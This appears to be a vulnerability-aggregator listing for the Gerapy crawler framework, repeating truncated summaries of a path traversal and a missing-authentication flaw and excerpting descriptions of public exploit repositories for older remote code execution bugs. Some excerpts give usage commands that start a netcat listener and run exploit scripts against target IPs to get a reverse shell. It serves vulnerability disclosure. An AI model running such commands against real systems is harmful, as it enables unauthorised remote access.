CVE-2026-105174

A vulnerability has been found in Gerapy up to 0.9.13. This vulnerability affects the function projectcreate of the file gerapy/server/core/views.py of the component Project Management. The manipulation of the argument projectname leads to path traversal. Remote exploitation of the attack is...

CVE-2026-105174 Gerapy Project Management views.py project_create path traversal

A vulnerability has been found in Gerapy up to 0.9.13. This vulnerability affects the function projectcreate of the file gerapy/server/core/views.py of the component Project Management. The manipulation of the argument projectname leads to path traversal. Remote exploitation of the attack is...

CVE-2026-105174

A path traversal vulnerability exists in Gerapy up to version 0.9.13 within the Project Management component. The issue is located in the project_create function of the gerapy/server/core/views.py file, where improper handling of the project_name argument allows for unauthorized directory access....

EUVD-2026-92154

A vulnerability has been found in Gerapy up to 0.9.13. This vulnerability affects the function projectcreate of the file gerapy/server/core/views.py of the component Project Management. The manipulation of the argument projectname leads to path traversal. Remote exploitation of the attack is...

CVE-2026-105174 Gerapy Project Management views.py project_create path traversal

A vulnerability has been found in Gerapy up to 0.9.13. This vulnerability affects the function projectcreate of the file gerapy/server/core/views.py of the component Project Management. The manipulation of the argument projectname leads to path traversal. Remote exploitation of the attack is...

CVE-2026-105174 Gerapy Project Management views.py project_create path traversal

A vulnerability has been found in Gerapy up to 0.9.13. This vulnerability affects the function projectcreate of the file gerapy/server/core/views.py of the component Project Management. The manipulation of the argument projectname leads to path traversal. Remote exploitation of the attack is...

PT-2026-104663

A vulnerability has been found in Gerapy up to 0.9.13. This vulnerability affects the function project create of the file gerapy/server/core/views.py of the component Project Management. The manipulation of the argument project name leads to path traversal. Remote exploitation of the attack is...

CVE-2026-105174: Improper Limitation of a Pathname to a Restricted Directory

A vulnerability has been found in Gerapy up to 0.9.13. This vulnerability affects the function projectcreate of the file gerapy/server/core/views.py of the component Project Management. The manipulation of the argument projectname leads to path traversal. Remote exploitation of the attack is...

gerapy-cve-2021-43857

Gerapy CVE-2021-43857 Authenticated RCE This repository contains a proof of concept exploit for CVE-2021-43857 , a Remote Code Execution vulnerability affecting Gerapy -p -L -P Requirements 1. Python 3.x 2. requests and pyfiglet pip install requests pyfiglet 3. Netcat nc...

CVE-2021-43857-Gerapy-v0.9.7

CVE-2021-43857-Gerapy-v0.9.7 login to portal as admin add new project sudo nc -lvnp 80 searchsploit -m python/remote/50640.py python3 ./50640.py -t IP-TARGET/URL -p PORT-TARGET -L YOUR-KALI-LINUX-IP -P YOUR-LISTENER-PORT python3 ./50640.py -t 192.168.106.24 -p 8000 -L 192.168.45.202 -P 80 enjoy...

cve-2021-32849

cve-2021-32849 cve-2021-32849 Gerapy command execution Usage First start an nc listener, then use the exp to attack python3 CVE-2021-32849.py -u http://192.168.1.69:8000 -U admin -P admin@123 -r 10.10.16.34 -p 8888 -c id...

CVE-2021-43857

CVE-2021-43857 CVE-2021-43857 Gerapy command execution Disclaimer This script is for learning and reference only. Do not maliciously attack other people's websites. If you violate laws or regulations, all consequences shall be borne by the user. Technology is innocent and has nothing to do with t...

CVE-2021-43857

CVE-2021-43857 Gerapy prior to version 0.9.8 is vulnerable to remote code execution. This issue is patched in version 0.9.8. CVE-2021-43857 is a vulnerability marked as Critical priority CVSS 9.8 leading to remote code execution. This vulnerability works on all versions prior to 0.9.8. Tested onl...

Missing Authentication for Critical Function

Overview gerapy is a Distributed Crawler Management Framework Based on Scrapy, Scrapyd, Scrapyd-Client, Scrapyd-API, Django and Vue.js. Affected versions of this package are vulnerable to Missing Authentication for Critical Function via the views.py file in the Project Upload Endpoint. An attacke...

CVE-2026-16209

A vulnerability has been found in Gerapy up to 0.9.13. The impacted element is an unknown function of the file gerapy/server/core/views.py of the component Project Upload Endpoint. Such manipulation leads to missing authentication. The attack may be launched remotely. The exploit has been disclos...

CVE-2026-16209 Gerapy Project Upload Endpoint views.py missing authentication

A vulnerability has been found in Gerapy up to 0.9.13. The impacted element is an unknown function of the file gerapy/server/core/views.py of the component Project Upload Endpoint. Such manipulation leads to missing authentication. The attack may be launched remotely. The exploit has been disclos...

CVE-2026-16209

Summary: CVE-2026-16209 affects Gerapy up to 0.9.13. The vulnerability is in an unknown function within gerapy/server/core/views.py, in the Project Upload Endpoint, causing missing authentication. It is a network-accessible issue that can be exploited remotely; the exploit is public. A patch iden...

CVE-2026-16209 Gerapy Project Upload Endpoint views.py missing authentication

A vulnerability has been found in Gerapy up to 0.9.13. The impacted element is an unknown function of the file gerapy/server/core/views.py of the component Project Upload Endpoint. Such manipulation leads to missing authentication. The attack may be launched remotely. The exploit has been disclos...

CVE-2026-16209 Gerapy Project Upload Endpoint views.py missing authentication

A vulnerability has been found in Gerapy up to 0.9.13. The impacted element is an unknown function of the file gerapy/server/core/views.py of the component Project Upload Endpoint. Such manipulation leads to missing authentication. The attack may be launched remotely. The exploit has been disclos...

CVE-2026-16209

A vulnerability has been found in Gerapy up to 0.9.13. The impacted element is an unknown function of the file gerapy/server/core/views.py of the component Project Upload Endpoint. Such manipulation leads to missing authentication. The attack may be launched remotely. The exploit has been disclos...